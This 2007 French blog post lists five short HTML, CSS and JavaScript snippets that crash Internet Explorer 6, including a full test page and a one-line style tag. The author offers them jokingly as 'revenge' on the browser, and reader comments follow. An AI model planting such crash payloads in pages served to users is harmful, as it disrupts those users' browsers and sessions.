Speak English? Click here to read my English blog!

5 façons de faire crasher Internet Explorer 6

Posté par jbj le 9 nov 2007 dans Windows4 commentaires

C’est un secret pour personne, Internet Explorer 6.0 n’est pas vraiment réputé parmis les développeurs et intégrateurs web. Mauvaise prise en charge des propriétés CSS et plantages à répétition sont quotidiennement montrés du doigt par les informaticiens qui doivent -souvent à leur grand malheur- dealer avec ce navigateur obsolète pourtant encore utilisé par énormément de personnes.
Internet Explorer 6 possède plusieurs failles (la plupart, jamais corrigées par Microsoft) qui font qu’une simple ligne de code html peut faire littérallement crasher le navigateur. Voici une petite liste non-exhaustives de codes qui font lamentablement crasher IE.
Après tout, ce browser est une telle épine dans le pied pour nous codeurs, que nous avons bien le droit de nous venger de temps en temps ;)

Celui-ci est un peu long mais néanmoins très efficace:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html>
  <head>
    <title>CRASH-IE</title>
    <style type="text/css">
      html, body {
      overflow: hidden;
      scrollbar-base-color: #330066;
      } 

      .crash {
      position:absolute;
      left:200px;
      top:200px;
      width:200px;
      }
    </style>

    <script type="text/javascript">
    function galgenfrist() {
        window.setTimeout('crashIE();',1000);
    }

    function crashIE() {
        var moveNode = document.getElementById("move");
        if(moveNode) {
            moveNode.style.top = "100px";
            moveNode.style.left = "200px";
        }
    }
    </script>
</head> 

<body onload="galgenfrist();">

    <h1>CRASH-IE</h1>
    <div id="move" class="crash">
    <table>
        <tbody>
        <tr>
        <td>
              <textarea></textarea>
        </td>
        </tr>
        </tbody>
    </table>
    </div> 

</body> 

</html>

Javascript et IE6, une grande histoire d’amour…

<script>for (x in document.write) { document.write(x);}</script>

Ce code est un des derniers en date à avoir été découvert:

<style>*{position:relative}</style><table><input></table>

Le retour du Javascript qui n’aimais pas IE…

<body onLoad=”window()”>

Et pour finir…mon préféré.11 caractères et…bang :D

<STYLE>@;/*
Si vous avez aimé cet article, aidez-moi à le promouvoir en votant pour lui sur les sites suivants: Ces icones representent les sites de bookmarking social dans lesquels vos lecteurs peuvent partager et faire découvrir vos pages.
  • del.icio.us
  • Scoopeo
  • Tapemoi
  • Technorati
  • Tutmarks
  • Pioche
  • Blogasty
  • Diggons
  • Wikio
Tags: ,

4 commentaires

» Flux RSS des commentaires
  1. 5 faons de faire crasher Internet Explorer 6…

    Peu tonnant, Internet Explorer 6.0 possde plusieurs failles (la plupart, jamais corriges par Microsoft) qui font quune simple ligne de code html peut faire littrallement crasher le navigateur. Voici une petite liste non-exhaustives de codes qui font la…

  2. ça montre bien la qualité de ce “navigateur”…no coment

  3. Hé bien moi j’en ai trouvé un autre, et c’est tellement rapide que je ne sais même pas à quoi c’est du ! Ce qui est balaize dans le bug, c’est qu’explorer plante à la première ouverture, puis quand on insiste après le plantage, ça marche. Cool non ?
    http://www.magalizsigmond.fr
    J’aime bien faire du débuggage quand je ne sais pas d’ou ça vient !

  4. Je regarderais ça avec IE dans la semaine, là c’est le week end donc le pc windows du boulot est éteint ;)
    IE n’en finira jamais de m’étonner…dans le mauvais sens du terme malheureusement.

Commenter